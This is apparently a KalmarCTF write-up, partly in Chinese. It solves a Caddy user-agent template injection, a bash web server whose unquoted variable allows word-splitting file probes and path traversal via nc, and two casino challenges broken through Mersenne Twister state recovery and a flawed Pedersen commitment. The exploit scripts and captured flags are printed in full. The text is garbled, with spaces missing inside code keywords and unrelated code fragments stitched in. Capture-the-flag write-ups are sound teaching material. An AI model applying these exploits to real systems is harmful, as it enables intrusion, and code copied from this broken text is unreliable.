caddy.chal-kalmarc.tf { tls internal import html_reply `Hello! Wanna know you if your browser supports <a href="https://http1.caddy.chal-kalmarc.tf/">http/1.1</a>? <a href="https://http2.caddy.chal-kalmarc.tf/">http/2</a>? Or fancy for some <a href="https://http3.caddy.chal-kalmarc.tf/">http/3</a>?! Check your preference <a href="https://http.caddy.chal-kalmarc.tf/">here</a>.<br/>We also allow you to check <a href="https://tls12.caddy.chal-kalmarc.tf/">TLS/1.2</a>, <a href="https://tls13.caddy.chal-kalmarc.tf/">TLS/1.3</a>, <a href="https://tls.caddy.chal-kalmarc.tf/">TLS preference</a>, supports <a href="https://mtls.caddy.chal-kalmarc.tf/">mTLS</a>? Checkout your <a href="https://ua.caddy.chal-kalmarc.tf/">User-Agent</a>!<!-- At some point we might even implement a <a href="https://flag.caddy.chal-kalmarc.tf/">flag</a> endpoint! -->` }
它 user-agent 可以注入 SSTI,因為它用了個 templates
的功能,所以讀一下文件可以知道它有讀取檔案列表和讀檔的功能,簡單就拿到
flag 了:
if [ ${#request_line[@]} != 3 ]; then abort "Invalid request line" fi
method=${request_line[0]}
uri=${request_line[1]}
protocol=$(echo -n "${request_line[2]}" | sed 's/^\s*//g' | sed 's/\s*$//g')
if [[ ! $method =~ ^(GET|HEAD)$ ]]; then abort "Invalid request method" fi
if [[ ! $uri =~ ^/ ]]; then abort 'Invalid URI' fi
if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then abort 'Invalid protocol' fi
whileread -d $'\n' header; do stripped_header=$(echo -n "$header" | sed 's/^\s*//g' | sed 's/\s*$//g')
if [ -z "$stripped_header" ]; then break; fi
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr'[:upper:]''[:lower:]'); header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
if [ -z "$header_name" ] || [[ "$header_name" =~ [[:space:]] ]]; then abort "Invalid header name"; fi
# If header already exists, add value to comma separated list if [[ -v request_headers[$header_name] ]]; then request_headers[$header_name]="${request_headers[$header_name]}, $header_value" else request_headers[$header_name]="$header_value" fi done
In server.sh line 19: if [ ! -z ${1+x} ]; then ^-- SC2236 (style): Use -n instead of ! -z.
In server.sh line 21: echo -en $1 ^-- SC2086 (info): Double quote to prevent globbing and word splitting.
Did you mean: echo -en "$1"
In server.sh line 42: read -d $'\n' -a request_line ^--^ SC2162 (info): read without -r will mangle backslashes.
In server.sh line 62: if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then ^-------^ SC2086 (info): Double quote to prevent globbing and word splitting. ^-------^ SC2086 (info): Double quote to prevent globbing and word splitting.
Did you mean: if [ "$protocol" != 'HTTP/1.0' ] && [ "$protocol" != 'HTTP/1.1' ]; then
In server.sh line 66: whileread -d $'\n' header; do ^--^ SC2162 (info): read without -r will mangle backslashes.
In server.sh line 94: read -N $body_length request_body ^--^ SC2162 (info): read without -r will mangle backslashes. ^----------^ SC2086 (info): Double quote to prevent globbing and word splitting. ^----------^ SC2034 (warning): request_body appears unused. Verify use (or exportif used externally).
Did you mean: read -N "$body_length" request_body
For more information: https://www.shellcheck.net/wiki/SC2034 -- request_body appears unused. Veri... https://www.shellcheck.net/wiki/SC2086 -- Double quote to prevent globbing ... https://www.shellcheck.net/wiki/SC2162 -- read without -r will mangle backs...
看起來最可疑的是 [ $protocol != 'HTTP/1.0' ],那邊因為沒
quote 所以如果變數中有空白 ($IFS) 的話會自動做 word
splitting。所以那邊如果有 protocol='-f /path/to/file -a x'
的話就能判斷一個檔案是否存在,且那個檔案路徑是可以用 glob 的。
chrs = string.hexdigits prefix = "" whilelen(prefix) < 32: with ThreadPoolExecutor() as executor: futures = [executor.submit(guess, prefix + c) for c in chrs] for fut, c inzip(futures, chrs): if fut.result(): prefix += c print(prefix) break # printf 'GET /assets/../../../../app/static/assets/9df5256fe48859c91122cb92964dbd66/flag.txt HTTP/1.0\r\n\r\n' | nc chal-kalmarc.tf 8080 # kalmar{17b29adf_bash_web_server_was_a_mistake_374add33}
from flask import Flask, request, send_from_directory, session, abort from requestlib import fetch from config import session_encryption_key import subprocess, os
defprotect_secrets(): os.unlink("config.py")
defcheck_url(url): ifnotisinstance(url, str) orlen(url) == 0: returnFalse, "Please provide a regular url!"
ifnot url.startswith("https://") or url.lstrip() != url: returnFalse, "Url must start with 'https://'. We do not want anything insecure here!"
#!/usr/bin/python3 from Pedersen_commitments import gen, commit, verify
# I want to host a trustworthy online casino! # To implement blackjack and craps in a trustworthy way i need verifiable dice and cards! # I've used information theoretic commitments to prevent players from cheating. # Can you audit these functionalities for me ?
from random import randint # Verifiable Dice roll defroll_dice(pk): roll = randint(1,6) comm, r = commit(pk,roll) return comm, roll, r
# verifies a dice roll defcheck_dice(pk,comm,guess,r): res = verify(pk,comm, r, int(guess)) return res
# verifiable random card: defdraw_card(pk): idx = randint(0,51) # clubs spades diamonds hearts suits = "CSDH" values = "234567890JQKA" value = values[idx%13] suit = suits[idx//13] card = value + suit comm, r = commit(pk, int(card.encode().hex(),16)) return comm, card, r
# take a card (as two chars, fx 4S = 4 of spades) and verifies it was the committed card defcheck_card(pk, comm, guess, r): res = verify(pk, comm, r, int(guess.encode().hex(),16)) return res
# Debug testing values for larger values defdebug_test(pk): dbg = randint(0,2**32-2) comm, r = commit(pk,dbg) return comm, dbg, r
# verify debug values defcheck_dbg(pk,comm,guess,r): res = verify(pk,comm, r, int(guess)) return res
defaudit(): print("Welcome to my (beta test) Casino!") q,g,h = gen() pk = q,g,h print(f'public key for Pedersen Commitment Scheme is:\nq = {q}\ng = {g}\nh = {h}') chosen = input("what would you like to play?\n[D]ice\n[C]ards") if chosen.lower() == "d": game = roll_dice verif = check_dice elif chosen.lower() == "c": game = draw_card verif = check_card else: game = debug_test verif = check_dbg
correct = 0 # If you can guess the committed values more than i'd expect, then for _ inrange(1337): if correct == 100: print("Oh wow, you broke my casino??!? Thanks so much for finding this before launch so i don't lose all my money to cheaters!") withopen("flag.txt","r") as f: flag = f.read() print(f"here's that flag you wanted, you earned it! {flag}") exit()
comm, v, r = game(pk) print(f'Commitment: {comm}') g = input(f'Are you able to guess the value? [Y]es/[N]o') if g.lower() == "n": print(f'commited value was {v}') print(f'randomness used was {r}') print(f'verifies = {verif(pk,comm,v,r)}') elif g.lower() == "y": guess = input(f'whats your guess?') if verif(pk, comm, guess, r): correct += 1 print("Oh wow! well done!") else: print("That's not right... Why are you wasting my time if you haven't broken anything?") exit()
print(f'Guess my system is secure then! Lets go ahead with the launch!') exit()
from z3 import * from z3mt import * from random import randint, Random from pwn import process, remote
defgen(): return randint(0, 2**32 - 2)
defpredict(outputs): state = [BitVec(f"state_{i}", 32) for i inrange(N)] sol = Solver() for s, o inzip(mt_gen_sol(sol, state), outputs): sol.add(s == o) with timeit("z3 solving"): assert sol.check() == sat m = sol.model() state = [m.evaluate(s).as_long() for s in state] r = Random() r.setstate((3, tuple(state + [624]), None)) for v in outputs: assert r.getrandbits(32) == v return r
10c10,11 < from random import randint --- > # Thanks for the feedback, I'll use secure randomness then! > from Crypto.Random.random import randint 53c54 < print("Welcome to my (beta test) Casino!") --- > print("Welcome to my (Launch day!) Casino!") 70,73c71,75 < # If you can guess the committed values more than i'd expect, then < for _ in range(1337): < if correct == 100: < print("Oh wow, you broke my casino??!? Thanks so much for finding this before launch so i don't lose all my money to cheaters!") --- > > # Should be secure now :) > for _ in range(256): > if correct == 250: > print("Oh wow, you broke my casino again??!? That's impossible!")
from Crypto.Util.number import getStrongPrime from Crypto.Random.random import randint
## Implementation of Pedersen Commitment Scheme ## Computationally binding, information theoreticly hiding
# Generate public key for Pedersen Commitments defgen(): q = getStrongPrime(1024) g = randint(1,q-1) s = randint(1,q-1) h = pow(g,s,q)
return q,g,h
# Create Pedersen Commitment to message x defcommit(pk, m): q, g, h = pk r = randint(1,q-1)
comm = pow(g,m,q) * pow(h,r,q) comm %= q
return comm,r
# Verify Pedersen Commitment to message x, with randomness r defverify(param, c, r, x): q, g, h = param ifnot (x > 1and x < q): returnFalse return c == (pow(g,x,q) * pow(h,r,q)) % q
可以看到它選 g 的時候沒限制說 g 一定是個
primt order subgroup 的 generator,所以有機會 leak 資訊。
from pwn import process, remote, context from Pedersen_commitments import commit from Crypto.Util.number import sieve_base
defconnect(): # io = process(["python", "casino.py"]) io = remote("casino-2.chal-kalmarc.tf", 13337) io.recvuntil(b"q = ") q = int(io.recvline().strip()) io.recvuntil(b"g = ") g = int(io.recvline().strip()) io.recvuntil(b"h = ") h = int(io.recvline().strip()) return io, q, g, h
deffind_one(q, g, h): # idk why but the remote refused to accept x = 1 at all # so we want to ensure g^((q-1) / x) = g for some x that is not 2 or 3 for p in sieve_base: if p in (2, 3): continue if (q - 1) % p == 0andpow(g, (q - 1) // p, q) == 1: return (q - 1) // p + 1
whileTrue: io, q, g, h = connect() checks = [ (q - 1) % 6 == 0, pow(g, (q - 1) // 2, q) != 1, pow(g, (q - 1) // 3, q) != 1, pow(h, (q - 1) // 2, q) == 1, pow(h, (q - 1) // 3, q) == 1, ] ifall(checks): one = find_one(q, g, h) if one isnotNone: break print("checks passed but no one found") io.close() pk = q, g, h withopen("pk", "w") as f: f.write(repr(pk))
tbl = {} for m inrange(1, 7): c, _ = commit(pk, m) tbl[hc(c)] = m print(tbl) for _ inrange(10): for m inrange(1, 7): c, _ = commit(pk, m) assert tbl[hc(c)] == m
context.log_level = "debug" io.sendline(b"d") for _ inrange(250): io.recvuntil(b"Commitment: ") c = int(io.recvline().strip()) m = tbl[hc(c)] if m == 1: # qq m = one io.sendline(b"y") io.sendline(str(m).encode()) io.interactive() # Kalmar{Why_call_it_strong_if_its_so_weak...}
print('Can you help us write a docstring for our python code?\nPlease give us the docstring that you want, end with "END"') docstring = '' user_input = input('> ')